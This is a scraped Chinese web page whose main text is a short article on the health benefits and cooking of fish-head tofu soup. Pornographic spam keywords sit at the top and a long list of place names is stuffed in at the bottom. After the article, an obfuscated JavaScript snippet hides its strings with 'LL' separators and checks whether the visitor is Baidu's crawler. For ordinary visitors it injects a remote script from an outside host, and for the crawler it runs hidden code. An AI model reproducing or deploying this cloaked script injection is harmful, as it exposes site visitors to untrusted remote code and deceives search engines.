亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

魚頭豆腐湯的作用有哪些?

2017-07-07 12:07:59  來源:360常識網(wǎng)   熱度:
導語:大家在平時吃魚肉的時候可能會忽略到魚頭,可能認為魚頭沒有肉就沒有什么營養(yǎng)價值,其實魚頭也富含很多營養(yǎng)物質(zhì),經(jīng)常會和豆腐一起搭配制作

大家在平時吃魚肉的時候可能會忽略到魚頭,可能認為魚頭沒有肉就沒有什么營養(yǎng)價值,其實魚頭也富含很多營養(yǎng)物質(zhì),經(jīng)常會和豆腐一起搭配制作成魚頭豆腐湯,無論是味道還是營養(yǎng),都是非常受人歡迎的。但可能大家還不清楚魚頭豆腐湯的具體作用,接下來小編就會在文章中講到。

魚頭豆腐湯里的鰱魚頭富含膠質(zhì)蛋白和鈣、鋅元素等微量元素,脂肪和熱量都很低,經(jīng)常食用有健脾補氣、溫中暖胃、美容潤膚之效;豆腐的蛋白質(zhì)和鈣含量豐富,而且具有多種保健功能如調(diào)節(jié)血脂,調(diào)節(jié)鈣代謝,調(diào)節(jié)性激素效應等。特別是對胃病、高血壓、動脈粥樣硬化癥、糖尿病等一類疾病的病人更有食療性價值。此外,豆腐還含有半胱氨酸,能夠加速酒精在身體的代謝,保護肝臟,減少酒精對肝臟的毒害。將鰱魚頭和嫩豆腐燉煮成湯飲用,不僅可以暖身健腦,還可以使人皮膚潤澤細膩。鰱魚是溫中補氣、暖胃潤膚的養(yǎng)生食品,適合脾胃虛寒、溏便、皮膚干燥者宜多食。

魚頭豆腐湯是一道營養(yǎng)豐富味道鮮美的家常菜,而且制作簡單。魚頭豆腐湯用魚來做湯,都需要先經(jīng)過油煎,再倒入開水燉煮,其湯才會呈奶白色,且湯味濃厚。湯的奶白色,是油水充分混合的結(jié)果。魚和豆腐搭配在一起吃是非常有利于營養(yǎng)吸收的,而且做出來的湯味道鮮美,香而不膩。

綜上所述,魚頭豆腐湯的功效與作用都是非常多的,所以大家平時就可以經(jīng)常做著吃,尤其是在做魚肉的時候可以特意去掉魚頭,這樣就不會造成浪費。另外,小編建議在制作時可以加入適量枸杞子等,以提高湯水的滋補功效。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
西峡县| 关岭| 石阡县| 临桂县| 旺苍县| 玛曲县| 松潘县| 汉沽区| 广宗县| 宜章县| 汽车| 渑池县| 左权县| 万全县| 茂名市| 景宁| 彭州市| 高清| 南丰县| 文成县| 新龙县| 开阳县| 若羌县| 铁岭县| 长乐市| 天等县| 洛扎县| 油尖旺区| 克山县| 资中县| 定安县| 岑溪市| 盐边县| 宜昌市| 钟山县| 施秉县| 武威市| 台湾省| 楚雄市| 贺州市| 南平市|